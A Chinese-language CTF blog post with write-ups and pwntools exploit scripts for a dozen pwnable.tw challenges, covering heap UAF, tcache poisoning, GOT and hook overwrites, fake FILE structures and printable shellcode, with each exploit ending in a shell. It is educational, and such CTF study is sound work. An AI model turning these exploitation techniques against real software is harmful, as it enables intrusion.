calc
不愧是pwnable,质量果然高,学到了不少姿势,看题目很明显程序是一个计算器,但漏洞点在哪,着实让我这个小菜鸡绞尽脑汁,起初试图独自解决,最后还是迫于现实膜一了波大佬的write up 。
程序分析
保护
开启了canary 跟NX
主函数calc
get_expr用来存放计算公式的,init_pool是一个初始化函数,将v1数组初始化为0,bzero(&s,0x400) == memset(s,0,0x400)
,parse_expr函数便是这个程序的关键,用来计算结果的。
分析parse_expr函数
该函数主要分为两个步骤:解析运算表达式、计算运算结果 。
该函数两个参数,参数1为用户输入的运算表达式的地址,参数2为init_pool函数初始化的v1数组(下文命名为initpool)
函数分配了100字节的空间给一个数组operator[100]
,用来保存所有的操作符,其实函数的漏洞就在这个运算过程中,所以我们要先很清楚地熟悉parse_expr函数的运算过程。
首先,函数进入一个大循环,对运算表达式的每一个字符分析处理,判断条件:当前字符的ASCII码值-48如果 大于9,则将其识别为运算符;反之识别为数字处理。这时候大家可能会有两个疑问:1、ASCII码小于48的字符可不止运算符,大于48的也不止数字呀 ;2、“+,-,x,/,%”这几个运算符可都比48小,-48就是负数了,也肯定小于9啊。第一,早在get_expr函数输入运算式的时候就已经限定了输入的字符只能是数字和”+-*/%”
第二、”+-*/%”的ASCII虽然小于48,但是程序定义的差值是无符号整形(unsigned int),所以作为一个无符号的数,小于48减去48是远远大于9的。
继续往下讲,如果当前字符为数字,那么循环中什么也不做,i++继续往下遍历,如果当前字符为运算符,函数要做的第一件事是将前面的字符转化为整数保存起来,保存在哪呢?就保存在initpool数组中
从逻辑来看操作数是从initpool[1]
的位置开始保存的,那么问题来了initpool[0]
用来干嘛呢,从count=(*initpool)++
这一句来看initpool[0]
保存的应该是当前运算数的个数,(正常下固定为2,因为一个操作符两个操作数),由此可见,程序两个最重要的数据结构为initpool[]和operator[]
,一个存操作数一个存操作符。
接下来为了保证输入的表达式是合法的,函数对当前操作符的下一个字符进行了判断若后一个字符也是操作符的话,则视当前表达式非法,退出此次运算。
接下来就是parse_expr的关键部分了,运算。
当处理到操作符是,判断是否为第一个操作符,是的话进入else,将当前操作符保存在operator[v7]
中,也就是operator[0]
,如果不是第一个操作符的话进入if条件。if的作用:保存当前操作符至operator数组中,并进行之前操作符所对应的运算,举个例子:
1 | 1+3-2 |
当处理到”+”时,由于这是第一个运算符,函数只是将其左值 “1” 保存至initpool[1]
中,并将 “+” 保存至operator[0]
中,然后继续循环。当处理到 “-“ 时,因为inipool中已经有两个值”1”和”3”,而且operator中也保存了一个值 “+” ,也就是说,此时两个数组中的情况为:
1 | initpool[0]=2,initpool[1]=1,initpool[2]=3 |
将1和3进行加法运算并保存起来,这就是eval函数做的事
eval函数
eval函数将”1+3”的计算结果”4”保存在之前”1”的位置,也就是initpool[initpool[0]-1]=initpool[1]
中,(注意,这里的保存位置iniptool[1]是由initpool[0]相对确定的),这样一来,情况就是这样的:
1 | initpool[0]=2,initpool[1]=4,initpool[2]=2 |
函数接下来就会通过eval计算”4-2”,并将运算结果仍然保存在initpool[1]
中。程序经过多次运算,最终会将计算结果输出给用户:
上图中,ebp+var_5A0为initpool[0]的位置,ebp+var_59C为initpool[1]的位置
,因此,(注意)程序输入给用户的结果为:
1 | initpool[1+initpool[0]-1] = initpool[initpool[0]] |
至此,程序的逻辑算是勉勉强强弄懂了,那么,漏洞在哪 呢?
漏洞分析
其实我不看writeup 过了一遍又遍的程序还是没能找到漏洞,漏洞就出现在上文提到注意的地方。
虽然eval函数看似每次都将算运结果放到了initpool[1]
中去,但是实际上这个下标”1”是由initpool[0]-1
得到的,上文也提到正常情况下initpool[0]
固定等于2的,因此我们总能将计算结果放到initpool[1]
中去,并且最终将结果输出给用户。如果 我们能控制initpool[0]
的值呢?这样我们相当于能实现任意地址读写了。
我们回头去看一下initpool[0]的值是怎么确定的,
这一串代码的意思就是:若运算符左边的操作数存在,那么就将操作数放到initpool[initpool[0]+1]
上并且initpool[0]++
,所以,如果左边的操作数不存在呢,那么initpool[0]就不会+1,当解析到下一个操作符时,initpool[0]才加一,那么进入eval函数计算时就是这样的:
1 | 比如输入+300的情况如下 |
最终的计算结果会放到initpool[initpool[0]-1] == initpool[0]
,也就是initpool[0]=301
这样,通过畸形的运算式我们就能控制initpool[0]
的值了,接下来只需要计算好返回地址跟initpool[0]的偏移就可以进行地址的读写了
接下来就是构造ROP链执行execve("/bin/sh",0,0)
因为这里需要用到是的参数”/bin/sh”的地址,我的做法是泄漏出栈地址,往栈中写入”/bin/sh”,然后将”/bin/sh”的地址做为参数。
exp
1 | # initpool -> 0xffffc818 1(a) |
参考博客:https://www.tuicool.com/articles/VNzqea3 写得太好太详细了吧!
3x17
这也是一道很神奇的题,很巧妙,很佩服。
程序分析
程序很简单,任意地址写,且只能写一次,一开始看到这里我很开心,这不是送分嘛!但是……….但是,,一次的任意地址写,有啥用?我开始懵了,看了writeup 才发现触及到了我的知识盲区
程序在这时设置了参数byte_4b9330每次都加1 即使能够调用回到main函数也无法再次使用任意地址写这个功能。
漏洞分析
很明显了就是任意地址写了,但是要怎么去用它呢。这里涉及到了一个新知识(对于我来说)有一个新东西叫做.fini_array,是程序执行完毕之势执行的函数,这个数组里存着两个函数地址,这个数组 的两个函数以倒序依次被 执行,我们可以通修改.fini_array的内容来控制程序的执行流,根据这个数组调用,可以找到实际调用函数的位置,(IDA中shift +F7 可查看所以段,可以快速找到.fini_array段)
gdb下个断看一下这里的调用是干嘛的
可以看到rbp为0x4b40f0
即.fini_array
也就是arr[1],继续调试,可以看到rbx变为0之后跟-1比较cmp不相等,因此次调用执行call[rbp+rbx*8+0]
,即调试arr[0],刚好符合我们查到的:倒序调用,所以我们现在要做的就是修改.fini_array
数组构造一个无循环疯狂加调main函数,这样参数byte_4b9330
就会疯狂加1 ,最终会回到0(0xff + 1 -> 0),这样我们就可以再次用到任意地址写这个功能。
我的做法是将arr[1]改为main,arr[0]改为调用.fini_array
的函数也就是0x402960
,这样的效果就是,调用arr[1]进入了main函数,出来调用了arr[0]又过来调用arr[1]进入main函数,然后继续调用arr[0]来调用main………疯狂调用main。这样就能实现多次的任意地址写了,接下来就构造ROP链,实现系统调用execve('/bin/sh',0,0)
。
要让这个循环停下来只需要在ROP链构造完成后让arr[0]为leave_ret_addr即可。
exp
1 | from pwn import * |
参考博客:https://ama2in9.top/2019/04/10/3x17/
dubblesort
这题也很妙,程序保护全开,主要功能是实现一个冒泡排序
程序一开始会让你输入name,然后输出,但是因为buf没有初始化导致这里可以泄漏出地址,真实地址很容易就拿到了,但是怎么利用?接下来输入num进行排序。
这里v9并没有限制大小,所以可以输入无数多个数字,溢出很明显了,但是因为程序开启了canary,所以单纯的覆盖到ret并不可行。
通过测试发现单输入 +
和-
并不会覆盖栈上的值,所以可以通过在canary 位置输入+
来绕过canary。接下来是sort的问题了,因为程序是将我们输入到栈上的数字进行排序再按从小到大的顺序写回到栈中去的,所以应该这样构造栈内容:
这样一来通过排序才不会打乱我们的栈布局,同时也刚好真实地址binsh_addr > system_addr
exp
1 | #coding:utf-8 |
hacknote
这是一道入门堆题,主要有3个功能,增加,删除,打印
1.增加功能可添加任意大小的堆块,并且程序会申请0x10大小的的堆来存放puts函数以及存放内容的堆地址,增加功能最多只能使用5次
2.删除功能,通过index搜索free掉两块堆块,但是free后并没有清空指针,可造成UAF
3.打印,调用存在堆中的puts函数打印内容,这里函数sub_804862B
的参数是他本身ptr[v1](ptr[v1])
漏洞利用
有两种泄漏地址的做法:1、申请unsortbin范围的堆块,UAF打印出main_arena地址
2、puts出got表地址
先讲第一种:
申请 chunk0 -> unsortbin范围 ,chunk1 -> fastbin 范围,chunk1是为了使chunk1 free时不合并到top chunk 去。free chunk0 ,再malloc(size(chunk0)) 这时chunk0会被申请出来,单写入一个回车(因为main_arena+48最低字节因定是0xb0),打印出chunk0的内容 -0x0a + 0xb0 - 48
就是main_arena地址了。
这时候ptr数组是这样的,我们free掉chunk0,chunk1,fastbin中就会有两个大小为0x10的空闲块0x8753058 -> 0x8753000 -> NULL
再申请chunk4大小小于0x10就可以申请到0x8753000
为content块写入数据,这样就可以修改0x8753008
的内容,将puts函数修改为system
内容堆块地址修改成;sh\x00
这里涉及一个知识点:Linux连续执行多条命令:https://blog.csdn.net/freedom2028/article/details/7104131
上面也说到puts函数的参数其实是他本来,所以这们这里覆盖后其实是执行system(system)
所以需要;
来过渡。
第二种 puts got表内容
做法:先申请两个大小一样的chunk0,chunk1,大小任意,然后free掉,这时候fastbin上就有两个大小为0x10的堆指针,这两个指针其实都是用来控制chunk0,chunk1输出的,这时候申请一个大小小于0x10的chunk2,我们就能分配其中一个指针进行写操作,将chunk0内容指针修改为puts@got,打印出chunk0就可以得到puts的真实地址。得到真实地址后跟方法一做法差不多。free 掉chunk2,fastbin又会出现两个大小为0x10的堆指针,接下来就跟上面link操作一样了,将puts函数改为system,将chunk内容指针改为;sh
,print 0就可以了
exp_1
1 | # unsort_bin to link address |
exp_2
1 | # puts@got to link address |
applestore
这题简直太有意思了,被秀了一脸,自己还是太菜了啊
程序是一个苹果商店,可以往购物车里面添加手机,总共有这5种
1 | 1: iPhone 6 - $199 |
也可以从购物车中把手机删掉,同时还有列出购物车手机和结账的功能,不过不管总共多少钱它都会告诉你'Want to checkout? Maybe next time!'
add
1 | unsigned int add() |
按选择添加手机,主要由create跟insert函数完成
create
1 | char **__cdecl create(int a1, char *a2) |
申请一个堆块存储了名字跟价格
insert
1 | int __cdecl insert(int a1) |
找到 i[2]为0的就将malloc挂在上面,其实就是形成了双链表
delete
1 | unsigned int delete() |
做的事是双链表的摘除,类似于unlink
cart
1 | int cart() |
遍历链表打印,一般可以用来泄漏地址
checkout
一开始审计整个程序并没有发现有什么漏洞,申请的堆块也不能自由输入内容,并且整个程序也没有free函数,唯一输入的位置就是选择的时候输入到栈中,正常加入购物车的手机都是放在堆上的,但是在checkout中留了一个彩蛋,如果总金额达到7174就会向购物车加入一部iphone8,价格是1,而这就是漏洞点,这部iphone8的结构体不是放到堆上而在栈上的,在ebp-0x20
位置
但是单单这个还不够,因为我们并不能随机地往结构体里写入内容,要看一下这个栈空间是否能被我们自用
在add,delete,cart函数中都可以控制到这个栈空间,而且my_read部分可以用’\x00’来分割,并不影响atoi运行
利用思路:
1、构造7174价格的购物车 199*6+299*20
,这样第27个就是栈里的那块
2、利用cart函数泄漏地址,构造结构体如下,这样能同时得到libc和heap地址
1 | -> puts@got |
3、泄漏栈地址,再次调用cart函数,构造结构体为
1 | -> point to stack's heap addr |
4、delete 位于栈上的结构体,双链表的摘除操作和结构体的可控制使我们获得一次任意地址写
1 | p->bk->fd = p->fd (bk[2] = fd) |
修改ebp为asprintf@got + 0x22
修改asprintf_got
为$0\x00'\x00
,atoi@got
为system
(因为asprintf和atoi相邻所以可以直接覆盖过去)
起初的想法是直接修改atoi@got
为system
但是因为上面写入的规则会向system+12
写入atoi@got+8
而system+12
为不可写段,所以程序会crash掉
exp:
1 | #coding:utf-8 |
death_note
保护:got表可改,且存在RWX段,那应该是写shellcode了
1 | Arch: i386-32-little |
add函数
1 | unsigned int add_note() |
到下标没有检查下限,note在bss段上,所以可以覆写到got表,那么就可以直接写shellcode覆到got表执行,但是这里对输入有个要求is_printable
必需是可打印的,也就是该题的考点,可打印shellcode
通常的shellcode都不满足可打印,所以要自己手写
根据某大牛博客中写到,此题可用的汇编打令如下:
1 | 1.数据传送: |
以上的汇编其机器码都是可见字符,所以我们要用以上的汇编编写shellcode
其实大概思路就是,mov a,b --> push b;pop a;
如int 0x80(80cd)
的不可见的字节码就通过xor sub and
运算操作shellcode使之变成int 0x80
exp:
1 | #coding:utf-8 |
seethefile
环境:ubuntu16;保护基本没开
程序功能:
1 | 1、open:调用fopen打开指定文件,但是不能打开名为flag的文件,文件指针放在全局变量fp中 |
漏洞:
这是一道文件题,漏洞就出现在exit退出时输入的name,因为没有控制长度,所以存在溢出,而name下方就是fp,所以可以覆盖到fp;
利用:
所以思路就是构造fack FILE,从而使得fclose执行system('/bin/sh')
,但是前提要先泄漏出libc,由于linux独特的文件形式存储,文件的内容信息储存在/proc/pid/maps
中,这里的pid用self来代替,如下:
1 | 08048000-0804a000 r-xp 00000000 08:00 249799 /home/seethefile/seethefile |
几个IO_FILE的知识:
1 | 1、_IO_FILE结构大小为0x94,可能版本一样会有所不同? |
exp:
1 | #coding:utf-8 |
tcache_tear
环境:ubuntu18;保护除PIE个全开
1 | Arch: amd64-64-little |
程序功能:
1 | Name:输入到bss段 |
思路:利用house_of_spirit释放name,只要name够大,就会直接放到unsorted bin,将main_arena+96写入到name中去,show获得地址;接下来再利用tcache将free_hook地址改写成system,free(‘/bin/sh\x00’)
exp:
1 | from pwn import * |
babystack
这题还是挺有趣的,保护全开,但是没什么影响
1 | Arch: amd64-64-little |
程序有两个功能,登录和,copy
login
1 | int __fastcall login(const char *a1) |
输入密码登录,但是因为这个密码的长度是由我们控制的,所以可能一位一位爆破出来
copy
1 | int __fastcall copy(char *a1) |
神奇的是这个函数,在这里造成地址泄漏和溢出,这里控制了输入的长度看似没有溢出,但是因为src的栈空间跟login中s的栈空间是重合的,而login函数中能够输入0x7f
个字节,所以可以溢出覆盖password;
1 | login(s) : 0x7fffffffdb30 (+ 0x7f) |
而0x7fffffffdb30
往下刚好有个libc地址可以写入到password,然后再爆破一次password就可以泄露出libc地址
接下来把原先的password填回去,再将ret填为onegadget就行了
exp:
1 | #coding:utf-8 |
spirited_away
用到的知识很常规,但是漏洞点很巧妙
主体函数survey1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62int survey()
{
char message; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t size; // [esp+4Ch] [ebp-ACh]
char comment; // [esp+50h] [ebp-A8h]
int age; // [esp+A0h] [ebp-58h]
void *name; // [esp+A4h] [ebp-54h]
int reason; // [esp+A8h] [ebp-50h]
nbytes = 60;
size = 80;
LABEL_2:
memset(&comment, 0, 0x50u);
name = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, name, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &age);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &reason, size);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &comment, nbytes);
++cnt;
printf("Name: %s\n", name);
printf("Age: %d\n", age);
printf("Reason: %s\n", &reason);
printf("Comment: %s\n\n", &comment);
fflush(stdout);
sprintf(&message, "%d comment so far. We will review them as soon as we can", cnt);
puts(&message);
puts(&s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 89 || choice == 121 )
{
free(name);
goto LABEL_2;
}
if ( choice == 78 || choice == 110 )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}
函数的漏洞点就在sprintf上sprintf(&message, "%d comment so far. We will review them as soon as we can", cnt);
有一说一,很巧妙,1
2" comment so far. We will review them as soon as we can")) hex(len(
'0x36'
再看一下各个变量的位置1
2
3
4
5
6
7
8
9
10char message; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t size; // [esp+4Ch] [ebp-ACh]
char comment; // [esp+50h] [ebp-A8h]
int age; // [esp+A0h] [ebp-58h]
void *name; // [esp+A4h] [ebp-54h]
int reason; // [esp+A8h] [ebp-50h]
nbytes = 60;
size = 80;
可以看到message跟nbytes的距离为0xe8-0xb0 = 0x38
,所以当cnt为3位数时,message就溢出了,刚好’n’覆盖到nbytes,那么nbytes由0x3c –> 0x6e,就造成name,跟comment处的溢出,而comment往下存着name的指针,可以覆盖为栈地址,free再申请出来,通过name处的溢出实现栈溢出
溢出地址的话就是在reason处没有初始化清0泄漏
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 0
if local:
p = process('./spirited_away')
elf = ELF('./spirited_away')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10204")
elf = ELF('./spirited_away')
# libc = elf.libc
libc = ELF('./libc_32.so.6')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def pwn(name,age,reason,comment):
sla("name: ",name)
sla("age: ",str(age))
sda("movie? ",reason)
sla("comment: ",comment)
def pwn2(age,reason):
sla("age: ",str(age))
sda("movie? ",reason)
sda("<y/n>: ",'y')
def exp():
# gdb.attach(p,"b *0x804878A")
pwn("R4bb1t",1,'a'*4*0xe,'b')
ru('a'*4*0xe)
stack = u32(rc(4))
fack_chunk = stack - 0x60
rc(4)
libc_base = u32(rc(4)) - 11 - libc.symbols['fflush']
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
log.warn("stack --> %s",hex(stack))
log.warn("libc_base --> %s",hex(libc_base))
sda("<y/n>: ",'y')
for i in range(9):
pwn("R4bb1t",i,'a\n','b')
sda("<y/n>: ",'y')
for i in range(90):
log.warn("i --> %d",i)
pwn2(i,'a\x00')
# gdb.attach(p,"b *0x80488C9")
pwn("R4bb1t",1,0x8*'a' + p32(0) + p32(0x41) + 'a'*0x38 + p32(0) +p32(0x11),0x54*'b' + p32(fack_chunk))
sda("<y/n>: ",'y')
pay = 0x44*'b' + p32(system) + p32(0) + p32(binsh_addr)
pwn(pay,1,'c','d')
sda("<y/n>: ",'n')
p.interactive()
'''
name_ptr = 0xffffcd24
age = 0xffffcd20
reason = 0xffffcd28
comment = 0xffffccd0
nbytes = 0xffffccc8
v3 = 0xffffcccc
'''
exp()
# p.interactive()
secretgarden
常规堆题,在remove中存在UAF1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25int delete()
{
int result; // eax
_DWORD *v1; // rax
unsigned int v2; // [rsp+4h] [rbp-14h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !unk_202024 )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x63 && (v1 = qword_202040[v2]) != 0LL )
{
*v1 = 0;
free(*(qword_202040[v2] + 8LL)); // UAF
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}
所以利用方法很简单,先泄漏libc地址,再利用uaf申请到malloc_hook附近修改malloc_hook为Onegadget getshell
(我眼瞎了看成了堆大小被限制成0x63去做了,有更直接的做法,我就懒得再打个exp了)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./secretgarden')
elf = ELF('./secretgarden')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10203")
# elf = ELF('./')
libc = ELF('./libc_64.so.6')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,name,color):
sla(" : ",'1')
sla("name :",str(size))
sda("flower :",name)
sda("flower :",color)
def show():
sla(" : ",'2')
def remove(idx):
sla(" : ",'3')
sla("garden:",str(idx))
def clean():
sla(" : ",'4')
if local:
one = [0x45216,0x4526a,0xf02a4,0xf1147]
else:
one = [0x45216,0x4526a,0xef6c4,0xf0567]
chunk = 0x202040
# debug(0xD18)
add(0x48, 'a'*0x30 + p64(0) + p64(0x51),'blue\n')
add(0x48,'b\n','blue\n')
remove(0)
remove(1)
remove(0)
add(0x48,'\x80','hello\n')
add(0x48,'c\n','blue\n')
add(0x48,'d','blue\n')
add(0x48,0x30*'\x00' + p64(0) + p64(0xb1),'blue\n')
remove(3)
add(0x48,'a','blue\n')
show()
ru("flower[2] :")
heap_base = u64(rc(6).ljust(8,'\x00')) - 0x1064
ru("flower[6] :")
if local:
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c4b61
else:
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c3b61
realloc = libc_base + libc.symbols['realloc']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
onegadget = libc_base + one[2]
log.warn("heap_base --> %s",hex(heap_base))
log.warn("libc_base --> %s",hex(libc_base))
add(0x63,'first\n','blue\n')
add(0x63,'second\n','blue\n')
remove(7)
remove(8)
remove(7)
add(0x63,p64(fack_chunk),'blue\n')
add(0x63,'1\n','1\n')
add(0x63,'2\n','2\n')
add(0x63,'a'*0x13 + p64(onegadget),'blue\n')
# sla(" : ",'1')
remove(11)
remove(11)
# debug()
p.interactive()
alive_note
又是一道shellcode,漏洞点跟death_note
一样,不过字符限制得更少了1
0x0 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79 0x7a
但是因为堆块是利用strdup
申请的,存在0截断,所以0x0
是没用的
且每段shellcode被控制在8字节内read_input(&s, 8u);
https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html 参考一些资料这些有限的字符还是可以做很多事情的
再来看看堆的头,因为长度被限制在了8,所以申请出来的堆大小都是0x10
所以头部为00 00 00 00 11 00 00 00
其对应的汇编:1
2
3
4print disasm("\x00\x00\x00\x00\x11\x00\x00\x00")
0: 00 00 add BYTE PTR [eax],al
2: 00 00 add BYTE PTR [eax],al
4: 11 00 adc DWORD PTR [eax],eax
所以只需要控制eax为一个可写字段就行了
接下来就是写汇编,我是写了一个
1 | read(0,shellcode,0x80) |
读入shellcode并执行
exp:
1 | from pwn import * |
re-alloc
给的libc是2.29版本的,不过只要是2.29以上版本都可
1 | Arch: amd64-64-little |
got表可写,没开PIE,再看一眼功能
1 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
功能1和2平平无奇,重点在于realloc,这是一个神奇的函数
1 | realloc(ptr,size) |
利用思路
很明显realloc功能中存在UAF,但是也有一个比较难受的限制 :只允许申请两个chunk,于是就需要好好构造了。
1、先申请一个0x20大小的chunk1,利用uaf将atoll@got
写到tcache[0x20]
上
1 | pwndbg> tcachebins |
2、将chunk1申请出来,realloc(ptr,size)修改chunk1的size为0x30,再次利用uaf将atoll@got
写到tcache[0x30]
上
1 | pwndbg> tcachebins |
3、此时tcache
上已经有两个atoll@got
了,但是此时chunk也满两个,修改chunk1为0x40,0x50并free
1 | pwndbg> tcachebins |
4、用其中一个atoll@got
修改atoll@got
为printf
泄漏libc
5、用另一个atoll@got
修改atoll@got
为system
;注意此时的atoll
是printf
,所以在调用atoll
时需要输入的Index
和Size
不是数字,而是通过输入的字符的长度来控制 printf 的返回值传给Index
和Size
。由于read长度限制在16,可以通过’%nc’来控制
6、最后再输入/bin/sh\x00
调用atoll
来执行system('/bin/sh\x00')
getshell
exp:
1 | #coding:utf-8 |